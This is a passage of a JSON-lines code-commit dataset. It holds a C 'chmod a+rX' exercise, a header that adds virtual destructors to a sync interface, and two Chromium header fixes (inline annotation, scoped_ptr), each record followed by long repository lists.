xternal_chromium_org_third_party_skia,TeamExodus\/external_skia,ench0\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,Omegaphora\/external_skia,qrealka\/skia-hc,vanish87\/skia,InfinitiveOS\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,jtg-gg\/skia,mozilla-b2g\/external_skia,AOSP-YU\/platform_external_skia,zhaochengw\/platform_external_skia,RadonX-ROM\/external_skia,InfinitiveOS\/external_skia,aosp-mirror\/platform_external_skia,Omegaphora\/external_skia,spezi77\/android_external_skia,ench0\/external_skia,FusionSP\/android_external_skia,akiss77\/skia,MinimalOS-AOSP\/platform_external_skia,AOSPU\/external_chromium_org_third_party_skia,google\/skia,Infinitive-OS\/platform_external_skia,vanish87\/skia,qrealka\/skia-hc,wildermason\/external_skia,F-AOSP\/platform_external_skia,InfinitiveOS\/external_skia,timduru\/platform-external-skia,Omegaphora\/external_skia,MinimalOS-AOSP\/platform_external_skia,nvoron23\/skia,MyAOSP\/external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,DesolationStaging\/android_external_skia,VRToxin-AOSP\/android_external_skia,pcwalton\/skia,Tesla-Redux\/android_external_skia,TeamTwisted\/external_skia,RadonX-ROM\/external_skia,DiamondLovesYou\/skia-sys,Omegaphora\/external_chromium_org_third_party_skia,MyAOSP\/external_chromium_org_third_party_skia,akiss77\/skia,sudosurootdev\/external_skia,Tesla-Redux\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,nvoron23\/skia,AOSP-YU\/platform_external_skia,invisiblek\/android_external_skia,FusionSP\/android_external_skia,Jichao\/skia,rubenvb\/skia,Android-AOSP\/external_skia,Infinitive-OS\/platform_external_skia,nvoron23\/skia,OptiPop\/external_skia,larsbergstrom\/skia,HalCanary\/skia-hc,NamelessRom\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,MarshedOut\/android_external_skia"}
{"commit":"37cf701f569f64ff46c0ab5fd9e2783e4315275c","old_file":"chap15\/chmod_arx.c","new_file":"chap15\/chmod_arx.c","old_contents":"","new_contents":"\/* chmod_arx.c - the equivalent of chmod a+rX on the command line.\n *\n * The chmod(1) utility uses the chmod(2) system call to perform a series of\n * changes on file permissions. Particularly, if you invoke it as in:\n *\n *    $ chmod a+rX <files>\n *\n * it will give read permission for every type of user, and will give execute\n * permission:\n *\n *    * for every type of user if the file is a directory;\n *    * for every type of user if the file was already executable by some user.\n *\n * Usage:\n *\n *    $ .\/chmod_arx <file1> ... <fileN>\n *\n *    <file1..N> - the files to have their permissions changes\n *\n * Author: Renato Mascarenhas Costa\n *\/\n\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n\nstatic void helpAndLeave(const char *progname, int status);\nstatic void pexit(const char *fCall);\n\nint\nmain(int argc, char *argv[]) {\n  if (argc == 1) {\n    helpAndLeave(argv[0], EXIT_FAILURE);\n  }\n\n  struct stat info;\n  mode_t mode;\n  int i;\n\n  for (i = 1; i < argc; ++i) {\n    if (stat(argv[i], &info) == -1) {\n      pexit(\"stat\");\n    }\n\n    \/* every type of user gains read access *\/\n    mode = info.st_mode;\n    mode |= S_IRUSR | S_IRGRP | S_IROTH;\n\n    if (S_ISDIR(info.st_mode)) {\n      \/* if file is a directory, everyone gains search permissions *\/\n      mode |= S_IXUSR | S_IXGRP | S_IXOTH;\n    } else {\n      \/* file is not a directory: only give execute permissions to everyone\n       * if at least one type of user is able to execute it*\/\n      if ((info.st_mode & S_IXUSR) || (info.st_mode & S_IXGRP) || (info.st_mode & S_IXOTH)) {\n        mode |= S_IXUSR | S_IXGRP | S_IXOTH;\n      }\n    }\n\n    if (chmod(argv[i], mode) == -1) {\n      pexit(\"chmod\");\n    }\n  }\n\n  exit(EXIT_SUCCESS);\n}\n\nstatic void\nhelpAndLeave(const char *progname, int status) {\n  FILE *stream = stderr;\n\n  if (status == EXIT_SUCCESS) {\n    stream = stdout;\n  }\n\n  fprintf(stream, \"Usage: %s <file> [<file2> <file3> ...]\\n\", progname);\n  exit(status);\n}\n\nstatic void\npexit(const char *fCall) {\n  perror(fCall);\n  exit(EXIT_FAILURE);\n}\n","subject":"Implement the equivalent of chmod a+rX.","message":"Implement the equivalent of chmod a+rX.\n\nChapter 15, exercise 6.\n","lang":"C","license":"mit","repos":"rmascarenhas\/lpi"}
{"commit":"a4c8fc3e7f5624f8dcaffcf1ed6b8ba8f8bd9861","old_file":"include\/uwhd\/sync\/ModelSync.h","new_file":"include\/uwhd\/sync\/ModelSync.h","old_contents":"\/\/===-- ModelSync.h - Wireless Syncing of GameModel ---------------- c++ --===\/\/\n\/\/\n\/\/                               UWH Timer\n\/\/\n\/\/           This file is distributed under the BSD 3-Clause License.\n\/\/                      See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef MODELSYNC_H\n#define MODELSYNC_H\n\n#include \"uwhd\/model\/GameModel.h\"\n\n#include <string>\n#include <vector>\n\nstruct ModelSync {\n  virtual void Init() = 0;\n  virtual void setMgr(GameModelManager *M) = 0;\n  virtual GameModelManager &getMgr() = 0;\n};\n\n\/\/struct ModelSyncPeer {\n\/\/  virtual std::string name() const = 0;\n\/\/  virtual std::string addr() const = 0;\n\/\/};\n\nstruct ModelSyncServer : public ModelSync {\n  \/\/virtual std::vector<ModelSyncPeer*> peers() = 0;\n  \/\/virtual void claimPeer(const ModelSyncPeer *P) = 0;\n  \/\/virtual void getPeerWallClock(const ModelSyncPeer *P) = 0;\n  \/\/virtual void setPeerWallClock(const ModelSyncPeer *P) = 0;\n  \/\/virtual void adjustPeerWallClock(const ModelSyncPeer *P, int Delta) = 0;\n};\n\nModelSync *CreateSocketServer(const std::string &Port);\nModelSync *CreateSocketClient(const std::string &Host, const std::string &Port);\nModelSyncServer *CreateXBeeSyncServer();\nModelSync *CreateXBeeSyncClient();\n\n#endif\n","new_contents":"\/\/===-- ModelSync.h - Wireless Syncing of GameModel ---------------- c++ --===\/\/\n\/\/\n\/\/                               UWH Timer\n\/\/\n\/\/           This file is distributed under the BSD 3-Clause License.\n\/\/                      See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef MODELSYNC_H\n#define MODELSYNC_H\n\n#include \"uwhd\/model\/GameModel.h\"\n\n#include <string>\n#include <vector>\n\nstruct ModelSync {\n  virtual ~ModelSync() = 0;\n  virtual void Init() = 0;\n  virtual void setMgr(GameModelManager *M) = 0;\n  virtual GameModelManager &getMgr() = 0;\n};\n\n\/\/struct ModelSyncPeer {\n\/\/  virtual std::string name() const = 0;\n\/\/  virtual std::string addr() const = 0;\n\/\/};\n\nstruct ModelSyncServer : public ModelSync {\n  virtual ~ModelSyncServer() = 0;\n  \/\/virtual std::vector<ModelSyncPeer*> peers() = 0;\n  \/\/virtual void claimPeer(const ModelSyncPeer *P) = 0;\n  \/\/virtual void getPeerWallClock(const ModelSyncPeer *P) = 0;\n  \/\/virtual void setPeerWallClock(const ModelSyncPeer *P) = 0;\n  \/\/virtual void adjustPeerWallClock(const ModelSyncPeer *P, int Delta) = 0;\n};\n\nModelSync *CreateSocketServer(const std::string &Port);\nModelSync *CreateSocketClient(const std::string &Host, const std::string &Port);\nModelSyncServer *CreateXBeeSyncServer();\nModelSync *CreateXBeeSyncClient();\n\n#endif\n","subject":"Address a warning from the generated swig code","message":"[sync] Address a warning from the generated swig code\n","lang":"C","license":"bsd-3-clause","repos":"Navisjon\/uwh-display,jroelofs\/uwh-display,jroelofs\/uwh-display,jroelofs\/uwh-display,Navisjon\/uwh-display,Navisjon\/uwh-display,Navisjon\/uwh-display"}
{"commit":"7bd01c0936a140f39e2b15ab72f042197f59dc52","old_file":"base\/critical_closure.h","new_file":"base\/critical_closure.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_CRITICAL_CLOSURE_H_\n#define BASE_CRITICAL_CLOSURE_H_\n\n#include \"base\/callback.h\"\n\nnamespace base {\n\n\/\/ Returns a closure that will continue to run for a period of time when the\n\/\/ application goes to the background if possible on platforms where\n\/\/ applications don't execute while backgrounded, otherwise the original task is\n\/\/ returned.\n\/\/\n\/\/ Example:\n\/\/   file_message_loop_proxy_->PostTask(\n\/\/       FROM_HERE,\n\/\/       MakeCriticalClosure(base::Bind(&WriteToDiskTask, path_, data)));\n\/\/\n\/\/ Note new closures might be posted in this closure. If the new closures need\n\/\/ background running time, |MakeCriticalClosure| should be applied on them\n\/\/ before posting.\n#if defined(OS_IOS)\nbase::Closure MakeCriticalClosure(const base::Closure& closure);\n#else\nbase::Closure MakeCriticalClosure(const base::Closure& closure) {\n  \/\/ No-op for platforms where the application does not need to acquire\n  \/\/ background time for closures to finish when it goes into the background.\n  return closure;\n}\n#endif  \/\/ !defined(OS_IOS)\n\n}  \/\/ namespace base\n\n#endif  \/\/ BASE_CRITICAL_CLOSURE_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_CRITICAL_CLOSURE_H_\n#define BASE_CRITICAL_CLOSURE_H_\n\n#include \"base\/callback.h\"\n\nnamespace base {\n\n\/\/ Returns a closure that will continue to run for a period of time when the\n\/\/ application goes to the background if possible on platforms where\n\/\/ applications don't execute while backgrounded, otherwise the original task is\n\/\/ returned.\n\/\/\n\/\/ Example:\n\/\/   file_message_loop_proxy_->PostTask(\n\/\/       FROM_HERE,\n\/\/       MakeCriticalClosure(base::Bind(&WriteToDiskTask, path_, data)));\n\/\/\n\/\/ Note new closures might be posted in this closure. If the new closures need\n\/\/ background running time, |MakeCriticalClosure| should be applied on them\n\/\/ before posting.\n#if defined(OS_IOS)\nbase::Closure MakeCriticalClosure(const base::Closure& closure);\n#else\ninline base::Closure MakeCriticalClosure(const base::Closure& closure) {\n  \/\/ No-op for platforms where the application does not need to acquire\n  \/\/ background time for closures to finish when it goes into the background.\n  return closure;\n}\n#endif  \/\/ !defined(OS_IOS)\n\n}  \/\/ namespace base\n\n#endif  \/\/ BASE_CRITICAL_CLOSURE_H_\n","subject":"Add inline annotation for base::MakeCriticalClosure() in platform other than ios.","message":"Add inline annotation for base::MakeCriticalClosure() in platform other than ios.\n\nThe implementation of this method is basically noop in platforms other than ios and it is put in the header file; this change adds inline annotation to avoid duplicate symbol link error on other platforms.\n\nBUG=NONE\n\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/10837182\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@150831 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,patrickm\/chromium.src,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,dushu1203\/chromium.src,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,ltilve\/chromium,Jonekee\/chromium.src,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,ltilve\/chromium,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,M4sse\/chromium.src,dednal\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,anirudhSK\/chromium,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,Just-D\/chromium-1,hujiajie\/pa-chromium,M4sse\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,Jonekee\/chromium.src,patrickm\/chromium.src,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,timopulkkinen\/BubbleFish,ltilve\/chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,dednal\/chromium.src,dushu1203\/chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,jaruba\/chromium.src,anirudhSK\/chromium,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,M4sse\/chromium.src,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,patrickm\/chromium.src,ltilve\/chromium,Chilledheart\/chromium,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,dednal\/chromium.src,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,dednal\/chromium.src,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,anirudhSK\/chromium,ltilve\/chromium,jaruba\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,ltilve\/chromium,hujiajie\/pa-chromium,littlstar\/chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,dushu1203\/chromium.src,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,littlstar\/chromium.src,Chilledheart\/chromium,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,dushu1203\/chromium.src,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,markYoungH\/chromium.src,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,dednal\/chromium.src,chuan9\/chromium-crosswalk,littlstar\/chromium.src,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,dushu1203\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,anirudhSK\/chromium,Chilledheart\/chromium,dednal\/chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,Jonekee\/chromium.src"}
{"commit":"3386d3a91d405a744cfcb9909446cf4613d25a40","old_file":"chrome\/browser\/ui\/panels\/panel_browser_window_gtk.h","new_file":"chrome\/browser\/ui\/panels\/panel_browser_window_gtk.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n#define CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n\n#include \"chrome\/browser\/ui\/gtk\/browser_window_gtk.h\"\n\nclass Panel;\n\nclass PanelBrowserWindowGtk : public BrowserWindowGtk {\n public:\n  PanelBrowserWindowGtk(Browser* browser, Panel* panel);\n  virtual ~PanelBrowserWindowGtk() {}\n\n  \/\/ BrowserWindowGtk overrides\n  virtual void Init() OVERRIDE;\n\n  \/\/ BrowserWindow overrides\n  virtual void SetBounds(const gfx::Rect& bounds) OVERRIDE;\n\n protected:\n  \/\/ BrowserWindowGtk overrides\n  virtual bool GetWindowEdge(int x, int y, GdkWindowEdge* edge) OVERRIDE;\n  virtual bool HandleTitleBarLeftMousePress(\n      GdkEventButton* event,\n      guint32 last_click_time,\n      gfx::Point last_click_position) OVERRIDE;\n  virtual void SaveWindowPosition() OVERRIDE;\n  virtual void SetGeometryHints() OVERRIDE;\n  virtual bool UseCustomFrame() OVERRIDE;\n\n private:\n  void SetBoundsImpl();\n\n  Panel* panel_;\n  DISALLOW_COPY_AND_ASSIGN(PanelBrowserWindowGtk);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n#define CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n\n#include \"chrome\/browser\/ui\/gtk\/browser_window_gtk.h\"\n\nclass Panel;\n\nclass PanelBrowserWindowGtk : public BrowserWindowGtk {\n public:\n  PanelBrowserWindowGtk(Browser* browser, Panel* panel);\n  virtual ~PanelBrowserWindowGtk() {}\n\n  \/\/ BrowserWindowGtk overrides\n  virtual void Init() OVERRIDE;\n\n  \/\/ BrowserWindow overrides\n  virtual void SetBounds(const gfx::Rect& bounds) OVERRIDE;\n\n protected:\n  \/\/ BrowserWindowGtk overrides\n  virtual bool GetWindowEdge(int x, int y, GdkWindowEdge* edge) OVERRIDE;\n  virtual bool HandleTitleBarLeftMousePress(\n      GdkEventButton* event,\n      guint32 last_click_time,\n      gfx::Point last_click_position) OVERRIDE;\n  virtual void SaveWindowPosition() OVERRIDE;\n  virtual void SetGeometryHints() OVERRIDE;\n  virtual bool UseCustomFrame() OVERRIDE;\n\n private:\n  void SetBoundsImpl();\n\n  scoped_ptr<Panel> panel_;\n  DISALLOW_COPY_AND_ASSIGN(PanelBrowserWindowGtk);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n","subject":"Use scoped_ptr for Panel in PanelBrowserWindowGTK.","message":"Use scoped_ptr for Panel in PanelBrowserWindowGTK.\n\nBUG=None\nTEST=Verified WindowOpenPanel test now hits Panel destructor.\n\nReview URL: http:\/\/codereview.chromium.org\/7120011\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@88154 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"anirudhSK\/chromium,ltilve\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,rogerwang\/chromium,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,robclark\/chromium,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,patrickm\/chromium.src,keishi\/chromium,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,mogoweb\/chromium-crosswalk,robclark\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dednal\/chromium.src,ltilve\/chromium,bright-sparks\/chromium-spacewalk,zcbenz\/cefode-chromium,markYoungH\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,Jonekee\/chromium.src,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,jaruba\/chromium.src,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,zcbenz\/cefode-chromium,Just-D\/chromium-1,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,keishi\/chromium,Jonekee\/chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,hujiajie\/pa-chromium,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,M4sse\/chromium.src,chuan9\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,robclark\/chromium,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,jaruba\/chromium.src,robclark\/chromium,patrickm\/chromium.src,nacl-webkit\/chrome_deps,Just-D\/chromium-1,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,Jonekee\/chromium.src,Just-D\/chromium-1,nacl-webkit\/chrome_deps,anirudhSK\/chromium,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,Jonekee\/chromium.src,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,anirudhSK\/chromium,axinging\/chromium-crosswalk,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,keishi\/chromium,ltilve\/chromium,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,jaruba\/chromium.src,ltilve\/